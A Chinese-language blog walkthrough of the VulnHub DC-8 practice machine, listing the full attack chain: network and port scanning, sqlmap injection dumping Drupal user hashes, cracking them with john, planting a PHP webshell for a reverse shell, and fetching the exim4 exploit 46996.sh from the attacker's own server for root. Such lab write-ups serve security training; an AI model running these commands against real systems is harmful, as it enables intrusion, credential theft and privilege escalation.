首页 > 其他分享 >vulnhub靶机:dc-8

vulnhub靶机:dc-8

时间:2024-03-15 12:22:06浏览次数:24  
标签:sqlmap http 提权 10.9 dc 23.74 -- vulnhub 靶机

一:信息收集

1:主机发现

arp-scan -I eth0 10.9.23.0/24

靶机ip

10.9.23.74

2:端口扫描

nmap -A -p- -T4 10.9.23.74

3:端口探测

4: 目录遍历

dirb http://10.9.23.74

http://10.9.23.74/robots.txt

发现有登录界面地址,访问一下:

/?q=user/login/

发现可能存在sql注入

二:渗透测试

1:漏洞利用

试试sql注入:

sqlmap -u "http://10.9.23.74/?nid=1" --batch

发现可以注入,查看下数据库:

sqlmap -u "http://10.9.23.74/?nid=1" -dbs --batch

爆出d7db数据库的表:

sqlmap -u "http://10.9.23.74/?nid=1" -D d7db --tables --batch

发现users表,爆出usesr表的列:

sqlmap -u "http://10.9.23.74/?nid=1" -D d7db -T users --columns --batch

发现name和pass,查看字段:

sqlmap -u "http://10.9.23.74/?nid=1" -D d7db -T users -C name,pass --dump --batch

发现两个用户,将两个pass字段放入john中进行破解:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

用户

admin

john

$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z

$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

曝出密码

turtle

2:登录系统尝试反弹shell

john用户登录成功

这个界面可以写入php代码,添加一句话木马

成功反弹

三:提权

升级shell

python -c 'import pty;pty.spawn("/bin/bash")';

查看是否有特殊执行的文件

find / -perm -u=s -type f 2>/dev/null

查看exim4的版本:

/usr/sbin/exim4 --version

查找exim4的漏洞:

发现和dc4提权的步骤一样

存在本地提权

发现46996.sh脚本可以提权,将其发送到DC-8中

开启80端口

python3 -m http.server 80

wget http://10.9.23.112/46996.sh

文件结束符有错误,将其替换并进行提权:

sed -i -e 's/\r$//' 46996.sh

./46996.sh -m netcat

靶机结束

标签:sqlmap,http,提权,10.9,dc,23.74,--,vulnhub,靶机
From: https://www.cnblogs.com/woaishuaidan/p/18075154

相关文章

  • 通过DCERPC和ntlmssp获取Windows远程主机信息
    最初首发于:https://www.freebuf.com/articles/system/334948.html前言本文通过利用DCERPC协议的ping,并附加NTLMSSP认证信息来获取获取windows远程主机的版本号,主机名,所在域的域名,DNS等信息。因为通过rpc进行探测的工具,大部分都是依托impacket来实现,而实战中通过挂代理进行内网......
  • BJDCTF2020[encode]
    题目:encode,地址:encode查壳发现时upx壳,使用工具脱壳命令"upx-d",如果遇到工具脱不了的壳就手动脱壳,手动脱壳请帅哥美女*们看这篇手动脱壳。使用ida打开,观察逻辑后重命名函数:逻辑为一个换表base64+异或+RC4。其中RC4可以根据函数传入key,进而生成Box盒子来判断:知道逻辑后......
  • DDCMS 后端容器化解决方案:实现优雅的环境隔离,提升开发者体验
    DDCMS后端容器化解决方案:实现优雅的环境隔离,提升开发者体验浅聊一下,最近在参与DDCMS的组件开发和测试,碰到的一些问题,这个项目涉及了DDCMS-Contract和DDCMS-Service以及DDCMS-Front。合约、后端、前端。合约整理完了整体的业务和设计,当前在弄后端的时候,每一次部署稍微麻烦......
  • leedcode-完全二叉树的节点个数
    自己写的,使用广度优先BFS,迭代:classSolution:defcountNodes(self,root:Optional[TreeNode])->int:#如果根节点为空,则树中节点数为0ifnotroot:return0#初始化队列,并将根节点放入队列中queue=[root]......
  • BOSHIDA DC电源模块的故障排除与维修方法
    BOSHIDADC电源模块的故障排除与维修方法当DC电源模块出现故障时,可以按照以下步骤进行排除和维修: 1.检查电源输入:首先检查电源输入是否正常,包括输入电压是否稳定,输入电流是否符合要求。如果输入电源有问题,需要修复或更换电源。2.检查输出电压:使用万用表或示波器测量输出电压......
  • vulnhub靶机:dc-7
    一:信息收集1:主机发现arp-scan-Ieth010.9.23.0/24靶机IP10.9.23.1572:端口扫描nmap-A-p--T410.9.23.1573:端口探测给的提示去搜索一下@DC7USER发现是github的一些代码,下载进行查看在config.php配置文件里发现了用户名和密码$username="dc7user";$passwo......
  • XADC采集外部信号实时显示在RGB屏幕中
    概述XADC在Xilinx7系列器件上可用。TheXADCisavailableinallArtix-7,Kintex-7,Virte-7,andZynq-7000SoCdevices.XADC需要例化使用,但是如果使用JTAG访问的话,就不需要例化,直接在Vivado软件中就可以直接访问XADC的各项数据,包括芯片温度、电压等数据。The......
  • 与LDO背道而驰的DCDC
    LDO:低压差线性稳压器,比较常见的芯片为117,LDO的特性就如他的中文名一样,因为他的原理其实就是类似通过控制一个可变电阻来控制电压,从而达到稳压的效果,因此稳定的电压差不能太大否则电流就会过大,所以LDO的稳压器一般发热比较严重,损耗比较高,DCDC:开关稳压器,比较常见的芯片是2596,D......
  • [BJDCTF2020]Easy MD5 1
    [BJDCTF2020]EasyMD51审题看到一个登录框,并且题目为ezMD5,猜测使用md5绕过SQL知识点md5的绕过解题使用ffifdyop绕过SQL查看源代码弱比较绕过输入?a[]=1&b[]=2发现为===强比较,由于md5对数组不敏感也可以使用数组绕过,这是md5的另一个特性,就是md5无法对数组进行......
  • DC电源模块在电子产品中的重要性分析
    DC电源模块在电子产品中的重要性分析BOSHIDADC电源模块在电子产品中具有重要的作用和意义。以下是一些分析: 1.提供稳定可靠的电源供应:电子产品的正常运行需要稳定可靠的电源供应。DC电源模块可以将交流电转换为直流电,并提供稳定的电压和电流输出,确保电子产品能够正常工作。......